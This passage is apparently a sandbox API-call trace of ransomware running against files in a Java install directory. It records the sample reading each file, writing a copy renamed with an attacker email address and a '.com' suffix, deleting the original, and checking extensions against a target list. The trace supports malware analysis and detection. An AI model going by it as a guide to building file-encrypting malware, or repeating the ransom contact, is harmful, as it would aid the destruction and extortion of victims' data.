lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.102] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=4226) returned 1 [0145.102] CloseHandle (hObject=0x1098) returned 1 [0145.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0145.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.102] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.103] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.103] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0145.103] GetLastError () returned 0x0 [0145.103] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1082, lpOverlapped=0x0) returned 1 [0145.178] WriteFile (in: hFile=0x1090, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1090, lpOverlapped=0x0) returned 1 [0145.179] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.179] WriteFile (in: hFile=0x1090, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xee, lpOverlapped=0x0) returned 1 [0145.179] SetEndOfFile (hFile=0x1090) returned 1 [0145.179] CloseHandle (hObject=0x1090) returned 1 [0145.180] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.180] SetEndOfFile (hFile=0x1098) returned 1 [0145.181] CloseHandle (hObject=0x1098) returned 1 [0145.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.182] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0145.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.182] lstrlenW (lpString=".doc") returned 4 [0145.182] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0145.182] lstrlenW (lpString=".docx") returned 5 [0145.182] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0145.182] lstrlenW (lpString=".pdf") returned 4 [0145.182] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0145.182] lstrlenW (lpString=".xls") returned 4 [0145.182] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0145.182] lstrlenW (lpString=".xlsx") returned 5 [0145.182] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0145.182] lstrlenW (lpString=".ppt") returned 4 [0145.182] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0145.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.183] lstrlenW (lpString=".zip") returned 4 [0145.183] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0145.183] lstrlenW (lpString=".rar") returned 4 [0145.183] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0145.183] lstrlenW (lpString=".bz2") returned 4 [0145.183] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0145.183] lstrlenW (lpString=".7z") returned 3 [0145.183] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0145.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.183] lstrlenW (lpString=".dbf") returned 4 [0145.183] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0145.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.183] lstrlenW (lpString=".1cd") returned 4 [0145.183] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0145.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.183] lstrlenW (lpString=".jpg") returned 4 [0145.188] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0145.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.189] lstrlenW (lpString=".doc") returned 4 [0145.189] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0145.189] lstrlenW (lpString=".docx") returned 5 [0145.189] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0145.189] lstrlenW (lpString=".pdf") returned 4 [0145.189] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0145.189] lstrlenW (lpString=".xls") returned 4 [0145.189] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0145.189] lstrlenW (lpString=".xlsx") returned 5 [0145.189] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0145.189] lstrlenW (lpString=".ppt") returned 4 [0145.189] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0145.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.189] lstrlenW (lpString=".zip") returned 4 [0145.189] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0145.189] lstrlenW (lpString=".rar") returned 4 [0145.189] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0145.189] lstrlenW (lpString=".bz2") returned 4 [0145.189] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0145.189] lstrlenW (lpString=".7z") returned 3 [0145.189] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0145.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.189] lstrlenW (lpString=".dbf") returned 4 [0145.189] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0145.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.189] lstrlenW (lpString=".1cd") returned 4 [0145.190] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0145.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0145.190] lstrlenW (lpString=".jpg") returned 4 [0145.190] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0145.190] lstrcmpiW (lpString1=".txt", lpString2=".com") returned 1 [0145.190] lstrlenW (lpString="README.txt") returned 10 [0145.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.193] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=46) returned 1 [0145.193] CloseHandle (hObject=0x1098) returned 1 [0145.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0145.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.194] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.194] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0145.320] GetLastError () returned 0x0 [0145.320] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2e, lpOverlapped=0x0) returned 1 [0145.321] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x30, lpOverlapped=0x0) returned 1 [0145.321] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.322] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0145.322] SetEndOfFile (hFile=0x10c0) returned 1 [0145.322] CloseHandle (hObject=0x10c0) returned 1 [0145.322] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.322] SetEndOfFile (hFile=0x1098) returned 1 [0145.323] CloseHandle (hObject=0x1098) returned 1 [0145.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.323] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0145.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.324] lstrlenW (lpString=".doc") returned 4 [0145.324] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0145.324] lstrlenW (lpString=".docx") returned 5 [0145.327] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0145.327] lstrlenW (lpString=".pdf") returned 4 [0145.327] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0145.327] lstrlenW (lpString=".xls") returned 4 [0145.327] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0145.327] lstrlenW (lpString=".xlsx") returned 5 [0145.327] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0145.327] lstrlenW (lpString=".ppt") returned 4 [0145.327] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0145.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.327] lstrlenW (lpString=".zip") returned 4 [0145.328] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0145.328] lstrlenW (lpString=".rar") returned 4 [0145.328] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0145.328] lstrlenW (lpString=".bz2") returned 4 [0145.328] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0145.328] lstrlenW (lpString=".7z") returned 3 [0145.328] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.328] lstrlenW (lpString=".dbf") returned 4 [0145.328] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.328] lstrlenW (lpString=".1cd") returned 4 [0145.328] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.328] lstrlenW (lpString=".jpg") returned 4 [0145.328] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.328] lstrlenW (lpString=".doc") returned 4 [0145.328] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0145.328] lstrlenW (lpString=".docx") returned 5 [0145.328] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0145.328] lstrlenW (lpString=".pdf") returned 4 [0145.328] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0145.328] lstrlenW (lpString=".xls") returned 4 [0145.328] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0145.328] lstrlenW (lpString=".xlsx") returned 5 [0145.328] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0145.328] lstrlenW (lpString=".ppt") returned 4 [0145.328] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.328] lstrlenW (lpString=".zip") returned 4 [0145.328] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0145.328] lstrlenW (lpString=".rar") returned 4 [0145.329] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0145.329] lstrlenW (lpString=".bz2") returned 4 [0145.329] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0145.329] lstrlenW (lpString=".7z") returned 3 [0145.329] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0145.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.329] lstrlenW (lpString=".dbf") returned 4 [0145.329] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0145.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.329] lstrlenW (lpString=".1cd") returned 4 [0145.329] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0145.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0145.329] lstrlenW (lpString=".jpg") returned 4 [0145.329] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0145.329] lstrcmpiW (lpString1=".txt", lpString2=".com") returned 1 [0145.329] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0145.329] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.329] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=145180) returned 1 [0145.329] CloseHandle (hObject=0x1098) returned 1 [0145.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0145.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.330] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.330] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.330] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.330] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0145.330] GetLastError () returned 0x0 [0145.330] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2371c, lpOverlapped=0x0) returned 1 [0145.387] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x23720, lpOverlapped=0x0) returned 1 [0145.389] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.389] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x10a, lpOverlapped=0x0) returned 1 [0145.390] SetEndOfFile (hFile=0x10c0) returned 1 [0145.390] CloseHandle (hObject=0x10c0) returned 1 [0145.392] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.392] SetEndOfFile (hFile=0x1098) returned 1 [0145.394] CloseHandle (hObject=0x1098) returned 1 [0145.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.394] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0145.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.394] lstrlenW (lpString=".doc") returned 4 [0145.394] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString=".docx") returned 5 [0145.395] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0145.395] lstrlenW (lpString=".pdf") returned 4 [0145.395] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString=".xls") returned 4 [0145.395] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0145.395] lstrlenW (lpString=".xlsx") returned 5 [0145.395] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0145.395] lstrlenW (lpString=".ppt") returned 4 [0145.395] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.395] lstrlenW (lpString=".zip") returned 4 [0145.395] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0145.395] lstrlenW (lpString=".rar") returned 4 [0145.395] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString=".bz2") returned 4 [0145.395] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString=".7z") returned 3 [0145.395] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0145.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.395] lstrlenW (lpString=".dbf") returned 4 [0145.395] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.395] lstrlenW (lpString=".1cd") returned 4 [0145.395] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.395] lstrlenW (lpString=".jpg") returned 4 [0145.395] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.395] lstrlenW (lpString=".doc") returned 4 [0145.395] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0145.395] lstrlenW (lpString=".docx") returned 5 [0145.395] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0145.395] lstrlenW (lpString=".pdf") returned 4 [0145.395] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0145.396] lstrlenW (lpString=".xls") returned 4 [0145.396] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0145.396] lstrlenW (lpString=".xlsx") returned 5 [0145.396] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0145.396] lstrlenW (lpString=".ppt") returned 4 [0145.396] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0145.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.396] lstrlenW (lpString=".zip") returned 4 [0145.396] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0145.396] lstrlenW (lpString=".rar") returned 4 [0145.396] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0145.396] lstrlenW (lpString=".bz2") returned 4 [0145.396] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0145.396] lstrlenW (lpString=".7z") returned 3 [0145.396] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0145.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.396] lstrlenW (lpString=".dbf") returned 4 [0145.396] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0145.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.396] lstrlenW (lpString=".1cd") returned 4 [0145.396] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0145.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0145.396] lstrlenW (lpString=".jpg") returned 4 [0145.396] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0145.396] lstrcmpiW (lpString1=".html", lpString2=".com") returned 1 [0145.396] lstrlenW (lpString="Welcome.html") returned 12 [0145.396] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.397] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=955) returned 1 [0145.397] CloseHandle (hObject=0x1098) returned 1 [0145.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0145.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.397] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.397] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[bitcharity@protonmail.com].com"), 